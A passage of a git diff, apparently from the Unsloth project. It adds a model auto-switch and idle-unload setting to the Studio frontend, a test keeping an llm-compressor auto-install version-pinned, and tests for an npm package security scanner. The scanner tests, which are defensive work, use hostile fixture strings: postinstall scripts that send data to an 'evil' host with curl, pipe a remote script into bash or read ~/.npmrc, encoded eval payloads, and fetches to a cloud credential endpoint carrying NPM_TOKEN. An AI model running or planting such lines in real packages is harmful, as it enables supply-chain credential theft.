"react"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; +import { SettingsRow } from "./settings-row"; +import { SettingsSection } from "./settings-section"; + +export function ModelAutoSwitchSection() { + const t = useT(); + const [settings, setSettings] = useState( + null, + ); + const [draftIdleSeconds, setDraftIdleSeconds] = useState("0"); + const [error, setError] = useState(null); + const [isSaving, setIsSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((loaded) => { + if (cancelled) return; + setSettings(loaded); + setDraftIdleSeconds(String(loaded.autoUnloadIdleSeconds)); + setError(null); + }) + .catch((loadError) => { + if (cancelled) return; + setError( + loadError instanceof Error + ? loadError.message + : t("settings.general.modelAutoSwitch.loadError"), + ); + }); + return () => { + cancelled = true; + }; + }, [t]); + + // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null. + const parseIdleSeconds = (): number | null => { + if (!draftIdleSeconds.trim()) { + return null; + } + const parsed = Number(draftIdleSeconds); + return Number.isInteger(parsed) && parsed >= 0 ? parsed : null; + }; + + const persist = async ( + enabled: boolean, + idleSeconds: number, + syncDraft = true, + ) => { + setIsSaving(true); + setError(null); + try { + const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds); + setSettings(saved); + if (syncDraft) { + setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds)); + } + } catch (saveError) { + setError( + saveError instanceof Error + ? saveError.message + : t("settings.general.modelAutoSwitch.saveError"), + ); + } finally { + setIsSaving(false); + } + }; + + // Idle-unload is tied to auto-switch (the freed model reloads via the swap). + // Toggling off preserves the saved seconds rather than zeroing them — the + // backend gates unloading on the enabled flag, so it never unloads while off. + // Enabling commits the drafted value, falling back to the last saved one so + // it can never get stuck. + const handleToggle = (enabled: boolean) => { + const savedIdleSeconds = settings?.autoUnloadIdleSeconds ?? 0; + if (!enabled) { + void persist(false, savedIdleSeconds, false); + return; + } + void persist(true, parseIdleSeconds() ?? savedIdleSeconds); + }; + + const handleSaveIdle = () => { + const idleSeconds = parseIdleSeconds(); + if (idleSeconds === null) { + setError(t("settings.general.modelAutoSwitch.idleError")); + return; + } + void persist(true, idleSeconds); + }; + + return ( + + + + + +
+
+
+ setDraftIdleSeconds(event.target.value)} + className="h-8 w-full pr-8" + /> + + s + +
+ +
+ {error ? ( + + {error} + + ) : settings && !settings.enabled && settings.idleUnloadActive ? ( + + {t("settings.general.modelAutoSwitch.idleActiveViaEnv")} + + ) : settings && !settings.enabled ? ( + + {t("settings.general.modelAutoSwitch.idleNeedsEnable")} + + ) : null} +
+ + + ); +} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index 4085aa2ab0..aef2e7ffe6 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -27,6 +27,11 @@ import { import { HugeiconsIcon } from "@hugeicons/react"; import { useEffect, useMemo, useState } from "react"; import { Streamdown } from "streamdown"; +import { + type OpenAIAutoSwitchSettings, + loadOpenAIAutoSwitchSettings, + updateOpenAIAutoSwitchSettings, +} from "../api/openai-auto-switch"; // API call type; OS axis applies to curl only (Python is OS-identical). type ExampleType = @@ -68,6 +73,13 @@ const OS_AWARE: Record = { const CURL_TYPES = new Set(["curl", "curlTools", "curlAdvanced"]); const PROMPT = "Can Unsloth Studio do API calling?"; +// Auto-switch demo: a second call naming a different downloaded GGUF so the +// example shows that the model field selects which model serves. +// A placeholder the user replaces with one of their downloaded GGUFs. A fixed +// repo is usually not one they have, so the resolver would fall through and the +// demo would keep serving the current model instead of switching. +const SWITCH_MODEL = "your-other-downloaded-GGUF"; +const SWITCH_PROMPT = "Now answer as a different model."; // web_search + python + terminal are the reliable built-in tools. const TOOLS = ["web_search", "python", "terminal"]; // Sampling/thinking knobs for the "+ advanced" examples. @@ -163,13 +175,19 @@ function winBody(model: string, variant: Variant): string { return JSON.stringify(body); } +// A leading comment (valid in both bash and PowerShell) noting the model field +// selects the served model when auto-switch is on. +const SWITCH_NOTE = + '# "Switch model by request" is on: set "model" to any downloaded GGUF to switch.\n'; + function curlUnix( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `curl ${base}/v1/chat/completions \\ + return `${autoSwitch ? SWITCH_NOTE : ""}curl ${base}/v1/chat/completions \\ -H "Authorization: Bearer ${key}" \\ -H "Content-Type: application/json" \\ -d '${shSingle(curlBodyPretty(model, variant))}'`; @@ -181,8 +199,9 @@ function curlWindows( key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { - return `$body = '${psSingle(winBody(model, variant))}' + return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}' Set-Content -Path body.json -Value $body -Encoding ascii curl.exe ${base}/v1/chat/completions \` -H "Authorization: Bearer ${key}" \` @@ -190,11 +209,29 @@ curl.exe ${base}/v1/chat/completions \` -d "@body.json"`; } +// A second OpenAI call naming a different downloaded GGUF: with auto-switch on, +// Studio loads it before serving, so the model field selects the served model. +function pythonSwitchDemo(): string { + return ` + +# "Switch model by request" is on: replace the model below with another GGUF you +# have downloaded and Studio loads it before serving. Unknown names keep serving +# the current model. +response = client.chat.completions.create( + model=${j(SWITCH_MODEL)}, + messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}], + stream=True, +) +for chunk in response: + print(chunk.choices[0].delta.content or "", end="")`; +} + function pythonSnippet( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { // Standard OpenAI args are named; Unsloth extensions go through extra_body. const named = @@ -241,7 +278,7 @@ response = client.chat.completions.create( messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody} stream=True, ) -${loop}`; +${loop}${autoSwitch ? pythonSwitchDemo() : ""}`; } function buildSnippets( @@ -249,15 +286,16 @@ function buildSnippets( key: string, model: string, os: Os, + autoSwitch: boolean, ): Record { const curl = os === "windows" ? curlWindows : curlUnix; return { - curl: curl(base, key, model, "plain"), - python: pythonSnippet(base, key, model, "plain"), - curlTools: curl(base, key, model, "tools"), - pythonTools: pythonSnippet(base, key, model, "tools"), - curlAdvanced: curl(base, key, model, "advanced"), - pythonAdvanced: pythonSnippet(base, key, model, "advanced"), + curl: curl(base, key, model, "plain", autoSwitch), + python: pythonSnippet(base, key, model, "plain", autoSwitch), + curlTools: curl(base, key, model, "tools", autoSwitch), + pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch), + curlAdvanced: curl(base, key, model, "advanced", autoSwitch), + pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch), }; } @@ -346,12 +384,31 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const [copied, setCopied] = useState(false); const [copiedUrl, setCopiedUrl] = useState(false); const [useTunnel, setUseTunnel] = useState(readUseTunnelPref); + // null while loading; the same setting the General tab exposes (shared cache). + const [autoSwitch, setAutoSwitch] = useState( + null, + ); + const [savingAutoSwitch, setSavingAutoSwitch] = useState(false); // Tunnel may start after the first /api/health read; refresh so it surfaces here. useEffect(() => { void fetchDeviceType({ force: true }); }, []); + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((s) => { + if (!cancelled) setAutoSwitch(s); + }) + .catch(() => { + // Best-effort: leave the toggle off if the setting can't be read. + }); + return () => { + cancelled = true; + }; + }, []); + const model = useLoadedModelName(); // Real key while revealed (before "Done"); otherwise a placeholder. const key = apiKey || KEY_PLACEHOLDER; @@ -361,9 +418,10 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const base = useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin); + const autoSwitchOn = autoSwitch?.enabled ?? false; const snippets = useMemo( - () => buildSnippets(base, key, model, os), - [base, key, model, os], + () => buildSnippets(base, key, model, os, autoSwitchOn), + [base, key, model, os, autoSwitchOn], ); const osAware = OS_AWARE[lang]; @@ -385,6 +443,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { writeUseTunnelPref(next); }; + // Same setting as the General tab; persist optimistically and revert on failure + // so the examples reflect the live model-switch behavior. + const handleToggleAutoSwitch = (next: boolean) => { + const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0; + setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev)); + setSavingAutoSwitch(true); + void updateOpenAIAutoSwitchSettings(next, idle) + .then(setAutoSwitch) + .catch(() => { + setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev)); + }) + .finally(() => setSavingAutoSwitch(false)); + }; + const handleCopyUrl = async () => { if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) { setCopiedUrl(true); @@ -398,6 +470,41 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {t("settings.apiKeys.usageExamples")}
+ {/* Same setting as the General tab; surfaced here so the request `model` + actually switches the served model, which the examples below show. */} +
+
+ + + {t("settings.general.modelAutoSwitch.enable")} + + + + + + + {t("settings.general.modelAutoSwitch.enableDescription")} + + +
+
{cloudflareUrl ? (
@@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {/* Only when not launched with --secure: the raw 0.0.0.0 port is still globally reachable, so point the user at --secure. */} - {!secure ? ( + {secure ? null : ( - +
{/* Always rendered (dimmed when off) so toggling never changes the row height and shifts the code block below. */} diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index b3f26c808e..247d5040fb 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -48,6 +48,7 @@ import { updateUploadLimitSettings, } from "../api/upload-limit"; import { ChangePasswordDialog } from "../components/change-password-dialog"; +import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; import { SettingsRow } from "../components/settings-row"; import { SettingsSection } from "../components/settings-section"; import { StudioVersionSection } from "../components/studio-version-section"; @@ -528,6 +529,8 @@ export function GeneralTab() { + + diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index b96365653b..8507fe5174 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -143,6 +143,22 @@ export const en = { loadError: "Failed to load Helper LLM settings.", saveError: "Failed to save Helper LLM settings.", }, + modelAutoSwitch: { + sectionTitle: "Model auto-switch (OpenAI API)", + enable: "Switch model by request", + enableDescription: + "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.", + idleUnload: "Idle auto-unload", + idleUnloadDescription: + "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.", + idleNeedsEnable: + "Turn on Switch model by request so an unloaded model reloads on next use.", + idleActiveViaEnv: + "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.", + loadError: "Failed to load model auto-switch settings.", + saveError: "Failed to save model auto-switch settings.", + idleError: "Enter a whole number of seconds (0 or more).", + }, previewSharing: { sectionTitle: "Preview sharing", enableLabel: "Public preview links", diff --git a/tests/saving/test_llm_compressor_install_pin.py b/tests/saving/test_llm_compressor_install_pin.py new file mode 100644 index 0000000000..c2ddfb14e2 --- /dev/null +++ b/tests/saving/test_llm_compressor_install_pin.py @@ -0,0 +1,112 @@ +"""Static guards (no import/network/GPU, like test_save_shell_injection.py) that +install_llm_compressor()'s first-use auto-install of llm-compressor stays version-pinned to a vetted +range and keeps its opt-out env gate, so a compromised/inflated release can't be auto-pulled.""" + +from __future__ import annotations + +import ast +from pathlib import Path + +SAVE_PY = Path(__file__).resolve().parents[2] / "unsloth" / "save.py" + +_ENV_FLAG = "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL" + + +def _module() -> ast.Module: + return ast.parse(SAVE_PY.read_text(encoding = "utf-8"), filename = str(SAVE_PY)) + + +def _get_function(name: str) -> ast.FunctionDef: + for node in ast.walk(_module()): + if isinstance(node, ast.FunctionDef) and node.name == name: + return node + raise AssertionError(f"Function {name} not found in save.py") + + +def _spec_value(): + for node in ast.walk(_module()): + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Constant): + if any( + isinstance(t, ast.Name) and t.id == "_LLM_COMPRESSOR_SPEC" for t in node.targets + ): + return node.value.value + return None + + +def _first_lineno(fn: ast.AST, predicate) -> int | None: + lines = [n.lineno for n in ast.walk(fn) if predicate(n) and hasattr(n, "lineno")] + return min(lines) if lines else None + + +def test_spec_is_a_bounded_pin() -> None: + spec = _spec_value() + assert spec is not None, "_LLM_COMPRESSOR_SPEC must be defined at module scope" + assert "llmcompressor" in spec, f"spec must name llmcompressor, got {spec!r}" + # A lower and an upper bound: pip cannot jump to an arbitrary (e.g. inflated) future release. + assert ">=" in spec and "<" in spec, f"spec must have lower and upper bounds, got {spec!r}" + + +def test_ceiling_blocks_inflated_versions() -> None: + """Cap to the exact vetted patch: block an inflated 0.x, a new major, and any higher in-range patch.""" + from packaging.requirements import Requirement + + spec = Requirement(_spec_value()).specifier + assert spec.contains("0.12.0"), "the current vetted release must resolve" + assert not spec.contains("0.999.0"), "an inflated 0.x must be blocked" + assert not spec.contains("1.0.0"), "a new major must not be auto-installed" + assert not spec.contains( + "0.12.1" + ), "a higher in-range patch must be blocked (cap to the vetted patch)" + assert not spec.contains( + "0.12.999" + ), "a crafted higher in-range patch (e.g. on a mirror) must be blocked" + + +def test_floor_stays_compatible_with_supported_torch() -> None: + """Floor must stay <=0.6.0: 0.7+ need torch>=2.7, but the pinned torch can be as old as 2.4.""" + from packaging.requirements import Requirement + from packaging.version import Version + + req = Requirement(_spec_value()) + lowers = [Version(s.version) for s in req.specifier if s.operator in (">=", "==", "~=")] + assert lowers, "spec must declare a lower bound" + assert max(lowers) <= Version("0.6.0"), ( + f"floor {max(lowers)} requires a torch newer than Unsloth's minimum (2.4); " + "llm-compressor >0.6.0 needs torch>=2.7. Keep the floor <= 0.6.0." + ) + + +def test_install_command_uses_pinned_spec_not_bare_name() -> None: + fn = _get_function("install_llm_compressor") + # No argv list may pass the bare, unpinned package literal "llmcompressor". + for node in ast.walk(fn): + if isinstance(node, ast.List): + for elt in node.elts: + if isinstance(elt, ast.Constant) and elt.value == "llmcompressor": + raise AssertionError( + "install command must not pass an unpinned 'llmcompressor' literal; " + "use the bounded _LLM_COMPRESSOR_SPEC" + ) + names = {n.id for n in ast.walk(fn) if isinstance(n, ast.Name)} + assert "_LLM_COMPRESSOR_SPEC" in names, "install command must reference _LLM_COMPRESSOR_SPEC" + + +def test_optout_env_gate_precedes_subprocess_install() -> None: + fn = _get_function("install_llm_compressor") + env_line = _first_lineno(fn, lambda n: isinstance(n, ast.Constant) and n.value == _ENV_FLAG) + assert env_line is not None, f"{_ENV_FLAG} opt-out must be checked in install_llm_compressor" + + def _is_check_call(n: ast.AST) -> bool: + return ( + isinstance(n, ast.Call) + and isinstance(n.func, ast.Attribute) + and n.func.attr == "check_call" + and isinstance(n.func.value, ast.Name) + and n.func.value.id == "subprocess" + ) + + install_line = _first_lineno(fn, _is_check_call) + assert install_line is not None, "expected a subprocess.check_call install in the function" + assert ( + env_line < install_line + ), "the auto-install opt-out must be evaluated before any package install runs" diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py index ec9af37785..35a34e2834 100644 --- a/tests/security/test_scan_npm_packages.py +++ b/tests/security/test_scan_npm_packages.py @@ -328,8 +328,9 @@ def _finding( fn, pattern, sev = snp.HIGH, + evidence = "", ): - return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern) + return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence) def test_norm_pkg_name_strips_version_keeps_scope(): @@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path): n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH]) assert n == 1 # dedup + MEDIUM excluded keys = snp._load_baseline(str(bl)) - assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys + assert snp._finding_key(findings[0]) in keys # MEDIUM below HIGH threshold -> not written. assert all(k[2] != "js-env-token" for k in keys) +def test_baseline_reopens_on_changed_evidence(tmp_path): + # Same package/file/pattern but changed flagged code must reopen: the key now + # includes an evidence hash, so a new payload cannot ride a reviewed entry. + bl = tmp_path / "bl.json" + listed = _finding( + "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH]) + baseline = snp._load_baseline(str(bl)) + + # The reviewed finding stays suppressed across a version bump (same evidence). + same = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + # A changed payload under the same package/file/pattern stays active. + changed = _finding( + "left-pad@9.9.9", + "package/dist/index.js", + "obfuscated-blob", + evidence = "fetch('http://evil')", + ) + active, suppressed = snp._partition_baseline([same, changed], baseline) + assert same in suppressed + assert changed in active + + +def test_obfuscated_blob_key_reopens_on_changed_tail(): + # A large blob's evidence hash binds the full match (via a digest when the + # snippet is truncated), so changing only the payload tail reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 2300 + old = f'eval("{head}{"B" * 300}")' + new = f'eval("{head}{"C" * 300}")' + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "obfuscated-blob" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "obfuscated-blob" + ][0] + assert "sha256:" in of.evidence + assert of.evidence != nf.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_js_fetch_eval_payload_tail_reopens_key(): + # The js-fetch-eval evidence digests the full containing line when the shown + # window truncates it, so a changed payload tail beyond the window reopens + # the key instead of riding the unchanged decoder head. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 40 + old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n" + new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n" + of = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval" + ][0] + nf = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_multiline_options_reopen(): + # A multi-line outbound call binds its option/header lines, so changing the + # headers/body on a continuation line reopens the cred-surface-host key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n" + old = url + " {headers: {a: 'old'}})\n" + new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_config_multiline_object_reopens(): + # A host-config object whose `{` is on a prior line still binds the whole + # object, so changing the path/headers on a following line reopens the key + # rather than riding the unchanged hostname line. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n" + ) + old = obj % "/latest/meta-data/iam/security-credentials/old" + new = obj % "/latest/meta-data/iam/security-credentials/evil" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def _host_config_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + + +def _host_finding(text): + return [ + f + for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text) + if f.pattern == "cred-surface-host (outbound)" + ][0] + + +def test_outbound_host_config_long_object_binds_tail(): + # A config object longer than the backward window still binds its tail, so a + # changed payload line well below the hostname reopens (not truncated away). + filler = "\n".join(f" opt{i}: {i}," for i in range(30)) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n" + + filler + + "\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_far_opener_binds(): + # The enclosing object's opener can sit well above the hostname line (a large + # options object whose `{` is many properties back). The backward scan must + # still reach it so a payload changed on an earlier property of the same object + # reopens, not just a change on the hostname line itself. + above = "\n".join(f" opt{i}: {i}," for i in range(20)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + changed = obj.replace("opt0: 0,", "opt0: 999,") + assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed)) + + +def test_outbound_host_config_forward_cap_measured_from_match(): + # With the opener near the backward-search limit, the forward group cap must be + # measured from the matched hostname line, not the opener, so the path that + # follows the hostname is still bound and a changed payload there reopens. + above = "\n".join(f" opt{i}: {i}," for i in range(198)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiple_contexts_all_bind(): + # The same contextual host can appear in more than one outbound form. Adding a + # separate host-config request beside an already-present URL for that host must + # reopen the key, not ride the unchanged URL evidence. + base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n" + extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n" + assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra)) + + +def test_outbound_host_config_opener_after_unmatched_closer_binds(): + # A leading unmatched `}` from a preceding block (its opener outside the + # backward window) must not drive depth negative and mask the host-config + # opener that follows; the object should still bind so a changed path reopens. + pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view + obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_close_then_open_same_line_binds(): + # Stronger than the previous case: the unmatched closer and the host-config + # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count + # nets that line to <= 0 and drops the trailing `{`, so the group would start at + # the hostname line and a changed path could ride the unchanged-hostname key. + # Order-aware reduction keeps the opener, so the path binds and a change reopens. + obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiline_template_literal_reopens(): + # A ) inside a multi-line backtick template literal must not close the call + # early; the options object after the template binds, so a changed header + # reopens rather than riding the unchanged host (a per-line string blanker + # cannot mask a template literal that spans lines). + old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n" + new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n" + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_cred_env_lifecycle_binds_whole_body(): + # cred-env-in-lifecycle evidence pins the whole script body, so a changed + # non-token line (echo safe -> curl exfil) reopens even with the token line + # unchanged. + def life(body): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f + for f in snp.scan_package_json(pkg, "package/package.json", text) + if "cred-env-in-lifecycle" in f.pattern + ][0] + + safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe") + evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil") + assert "body-sha256:" in safe.evidence + assert snp._finding_key(safe) != snp._finding_key(evil) + + +def _lifecycle_finding(body, frag): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern + ][0] + + +def test_lifecycle_fetch_exec_bounds_body_but_reopens(): + # The whole install script is bound by a digest, but the stored evidence is a + # bounded matched snippet plus that digest, not the full body, so writing the + # baseline on a multi-KiB install script stays small while a change to any line + # (even far below the fetch-exec line) reopens the finding. + pad = "# pad\n" * 5000 + old = "curl https://x.sh | bash\n" + pad + "echo done_old" + new = "curl https://x.sh | bash\n" + pad + "echo done_evil" + of = _lifecycle_finding(old, "lifecycle-fetch-exec") + nf = _lifecycle_finding(new, "lifecycle-fetch-exec") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) # snippet + digest, not the whole body + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_cred_path_lifecycle_bounds_body_but_reopens(): + # cred-path-in-lifecycle is bounded the same way: a snippet around the matched + # credential path plus the whole-body digest, so a far-line change reopens + # without storing the entire script body in the baseline. + pad = "# pad\n" * 5000 + old = "cat ~/.npmrc\n" + pad + "echo old" + new = "cat ~/.npmrc\n" + pad + "echo evil" + of = _lifecycle_finding(old, "cred-path-in-lifecycle") + nf = _lifecycle_finding(new, "cred-path-in-lifecycle") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_regex_literal_does_not_close_group_early(): + # A ) inside a JS regex literal must not close the outbound call early; the + # options object after the regex binds, so a changed header reopens. + old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n" + new = old.replace("old", "evil") + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_evidence_overflow_binds_context_and_counts_all_matches(): + # Every match past the display cap is still counted in the overflow digest AND + # bound by its logical-line context, so changing the payload on an over-cap line + # reopens (the digest is not just the regex match text, and the iterator is not + # truncated before reaching it). + n = snp._MAX_EVIDENCE_MATCHES + mk = lambda which: "".join( + f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n" + for i in range(n + 5) + ) + e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN) + e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN) + assert "more) sha256:" in e1 + assert snp._evidence_hash(e1) != snp._evidence_hash(e2) + + +def test_evidence_caps_match_count_with_digest_remainder(): + # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one + # digest so a huge/minified file cannot build an unbounded evidence string, + # while a changed match count past the cap still reopens. + over = snp._MAX_EVIDENCE_MATCHES + 20 + base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over)) + ev = snp._evidence(base, snp._JS_ENV_TOKEN) + assert "more) sha256:" in ev + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans + less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1)) + assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN)) + + +def test_evidence_streams_overflow_count_is_exact(): + # The overflow matches are streamed from finditer (not collected into a list + # before the cap), so the "(+N more)" count must still equal the exact number of + # matches past the display cap for a large input, and the shown spans stay + # bounded to the cap. + extra = 1000 + total = snp._MAX_EVIDENCE_MATCHES + extra + body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total)) + ev = snp._evidence(body, snp._JS_ENV_TOKEN) + import re as _re + + m = _re.search(r"\(\+(\d+) more\)", ev) + assert m and int(m.group(1)) == extra # every over-cap match counted + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded + + +def _ioc_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/evil", + ) + + +def test_known_ioc_evidence_binds_context_not_bare_needle(): + # A known-ioc-string finding keys on the matched-line context, not the bare + # constant, so a changed adjacent fetch/exfil body on the same call reopens + # while the IOC needle stays in place. + ioc = next(iter(snp.KNOWN_IOC_STRINGS)) + old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n" + new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n" + + def key(text): + return [ + snp._finding_key(f) + for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text) + if f.pattern == "known-ioc-string" + ][0] + + assert key(old) != key(new) + + +def test_always_bad_host_evidence_binds_outbound_context(): + # cred-surface-host 